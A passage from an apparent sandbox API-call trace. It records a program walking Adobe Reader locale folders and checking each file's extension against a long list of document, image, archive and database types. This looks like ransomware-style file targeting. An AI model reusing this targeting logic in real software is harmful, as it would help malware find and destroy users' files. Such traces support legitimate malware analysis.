ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0147.756] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.756] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0147.757] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.757] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.757] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0147.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.758] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.758] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.758] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.758] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0147.758] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.758] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0147.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.758] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.759] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0147.759] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.759] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.760] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.760] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.760] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0147.760] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.760] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0147.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.760] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.760] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0147.761] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.761] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.761] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.762] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.762] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0147.762] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.762] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0147.762] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.762] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.762] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0147.763] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.763] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.763] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.764] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.764] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0147.764] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.764] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0147.764] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.949] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.949] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.HRV", cAlternateFileName="ACCESS~1.HRV")) returned 1 [0147.949] lstrlenW (lpString="Accessibility.HRV") returned 17 [0147.949] lstrlenW (lpString=".1cd") returned 4 [0147.949] lstrcmpiW (lpString1=".1cd", lpString2=".HRV") returned -1 [0147.949] lstrlenW (lpString=".3ds") returned 4 [0147.949] lstrcmpiW (lpString1=".3ds", lpString2=".HRV") returned -1 [0147.950] lstrlenW (lpString=".3fr") returned 4 [0147.950] lstrcmpiW (lpString1=".3fr", lpString2=".HRV") returned -1 [0147.950] lstrlenW (lpString=".3g2") returned 4 [0147.950] lstrcmpiW (lpString1=".3g2", lpString2=".HRV") returned -1 [0147.950] lstrlenW (lpString=".3gp") returned 4 [0147.950] lstrcmpiW (lpString1=".3gp", lpString2=".HRV") returned -1 [0147.950] lstrlenW (lpString=".7z") returned 3 [0147.950] lstrcmpiW (lpString1=".7z", lpString2="HRV") returned -1 [0147.950] lstrlenW (lpString=".accda") returned 6 [0147.950] lstrcmpiW (lpString1=".accda", lpString2="ty.HRV") returned -1 [0147.950] lstrlenW (lpString=".accdb") returned 6 [0147.950] lstrcmpiW (lpString1=".accdb", lpString2="ty.HRV") returned -1 [0147.950] lstrlenW (lpString=".accdc") returned 6 [0147.950] lstrcmpiW (lpString1=".accdc", lpString2="ty.HRV") returned -1 [0147.950] lstrlenW (lpString=".accde") returned 6 [0147.950] lstrcmpiW (lpString1=".accde", lpString2="ty.HRV") returned -1 [0147.950] lstrlenW (lpString=".accdt") returned 6 [0147.950] lstrcmpiW (lpString1=".accdt", lpString2="ty.HRV") returned -1 [0147.950] lstrlenW (lpString=".accdw") returned 6 [0147.950] lstrcmpiW (lpString1=".accdw", lpString2="ty.HRV") returned -1 [0147.950] lstrlenW (lpString=".adb") returned 4 [0147.950] lstrcmpiW (lpString1=".adb", lpString2=".HRV") returned -1 [0147.950] lstrlenW (lpString=".adp") returned 4 [0147.950] lstrcmpiW (lpString1=".adp", lpString2=".HRV") returned -1 [0147.950] lstrlenW (lpString=".ai") returned 3 [0147.950] lstrcmpiW (lpString1=".ai", lpString2="HRV") returned -1 [0147.950] lstrlenW (lpString=".ai3") returned 4 [0147.950] lstrcmpiW (lpString1=".ai3", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".ai4") returned 4 [0147.951] lstrcmpiW (lpString1=".ai4", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".ai5") returned 4 [0147.951] lstrcmpiW (lpString1=".ai5", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".ai6") returned 4 [0147.951] lstrcmpiW (lpString1=".ai6", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".ai7") returned 4 [0147.951] lstrcmpiW (lpString1=".ai7", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".ai8") returned 4 [0147.951] lstrcmpiW (lpString1=".ai8", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".anim") returned 5 [0147.951] lstrcmpiW (lpString1=".anim", lpString2="y.HRV") returned -1 [0147.951] lstrlenW (lpString=".arw") returned 4 [0147.951] lstrcmpiW (lpString1=".arw", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".as") returned 3 [0147.951] lstrcmpiW (lpString1=".as", lpString2="HRV") returned -1 [0147.951] lstrlenW (lpString=".asa") returned 4 [0147.951] lstrcmpiW (lpString1=".asa", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".asc") returned 4 [0147.951] lstrcmpiW (lpString1=".asc", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".ascx") returned 5 [0147.951] lstrcmpiW (lpString1=".ascx", lpString2="y.HRV") returned -1 [0147.951] lstrlenW (lpString=".asm") returned 4 [0147.951] lstrcmpiW (lpString1=".asm", lpString2=".HRV") returned -1 [0147.951] lstrlenW (lpString=".asmx") returned 5 [0147.951] lstrcmpiW (lpString1=".asmx", lpString2="y.HRV") returned -1 [0147.951] lstrlenW (lpString=".asp") returned 4 [0147.952] lstrcmpiW (lpString1=".asp", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".aspx") returned 5 [0147.952] lstrcmpiW (lpString1=".aspx", lpString2="y.HRV") returned -1 